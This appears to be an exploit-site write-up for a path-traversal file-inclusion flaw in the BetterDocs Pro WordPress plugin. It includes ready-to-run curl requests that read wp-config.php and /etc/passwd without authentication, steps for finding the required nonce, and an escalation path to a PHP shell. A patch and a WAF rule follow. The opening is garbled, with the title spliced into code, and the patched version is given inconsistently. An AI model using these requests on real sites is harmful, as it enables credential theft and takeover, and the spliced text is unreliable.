Share
## https://sploitus.com/exploit?id=1AE3C087-1AA3-55BF-A831-7DA322D46FE5
# CVE-2026-7515: BetterDocs Pro views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);
```

**Problem:** The `$doc_style` variable (user-controlled) is directly interpolated into the file path passed to `views->get()`, which includes the file.

### Data Flow

```
HTTP POST Request
        โ†“
$_POST['doc_style'] = "../../../../../../wp-config"
        โ†“
NO VALIDATION (vulnerable version 3.8.0)
        โ†“
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        โ†“
File Inclusion via include() or require()
        โ†“
Arbitrary PHP Code Execution / File Read
```

## Diff: Vulnerable vs Patched

### Vulnerable Version 3.8.0

```php
// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
```

### Patched Version 3.8.1

```php
// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';
```

### Key Differences

| Aspect | Vulnerable (3.8.0) | Patched (3.8.1) |
|--------|-------------------|------------------|
| Validation | None | Whitelist with `in_array()` |
| Allowed Values | Any string | Only `doc-grid`, `doc-list`, `doc-list-2` |
| Type Checking | No | Strict (`===`) comparison |

## Affected AJAX Endpoints

Both endpoints register with `nopriv` hooks, meaning they are accessible to unauthenticated users:

```php
// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);
```

### Endpoints:
1. `POST /wp-admin/admin-ajax.php?action=load_more_docs_section`
2. `POST /wp-admin/admin-ajax.php?action=load_more_docs`

## Proof of Concept

### Prerequisites
- Valid `encyclopedia_nonce` (found in page source on pages with BetterDocs Encyclopedia block)

### Manual Exploitation

```bash
# Step 1: Read wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Step 2: Read /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"
```

### Finding the Nonce

The `encyclopedia_nonce` is exposed in JavaScript on pages where BetterDocs Encyclopedia block is rendered:

```javascript
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- This is what you need
};
```

### LFI to RCE Path

1. **Read wp-config.php** - Extract database credentials
2. **Upload PHP shell** - Via WordPress media upload or theme editor
3. **Include malicious file** - Via LFI vulnerability
4. **Execute code** - Gain remote code execution

## Impact

| Impact Type | Severity | Description |
|-------------|----------|-------------|
| **Confidentiality** | HIGH | Read arbitrary files (wp-config.php, /etc/passwd, etc.) |
| **Integrity** | HIGH | Modify or delete files |
| **Availability** | HIGH | Denial of service |
| **Access Vector** | Network | Exploitable remotely |
| **Privileges** | None | No authentication required |
| **User Interaction** | None | Not required |

## Remediation

### Primary Fix
**Update to BetterDocs Pro version 3.8.1 or later**

### Manual Fix (if update not possible)

Apply the following patch to `includes/Core/Encyclopedia.php`:

```php
// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';
```

Apply the same fix to line 236.

### WAF Rules (Temporary Mitigation)

Add rule to block path traversal in `doc_style` parameter:
```
# Block doc_style with path traversal patterns
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"
```

## References

- [Wordfence Intelligence](https://www.wordfence.com/vulnerability-advisories/)
- [BetterDocs Official](https://betterdocs.co)
- [CVE Details](https://vulners.com/cve/CVE-2026-7515)
- [WPVDB](https://wpvulndb.com/vulnerabilities/)

## Files Analyzed

```
Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version:   betterdocs-pro_3.9.0.zip

Key Files:
- includes/Core/Encyclopedia.php    (VULNERABLE)
- includes/Core/Scripts.php         (Contains nonce generation)
- includes/Utils/Views.php          (File inclusion logic)
```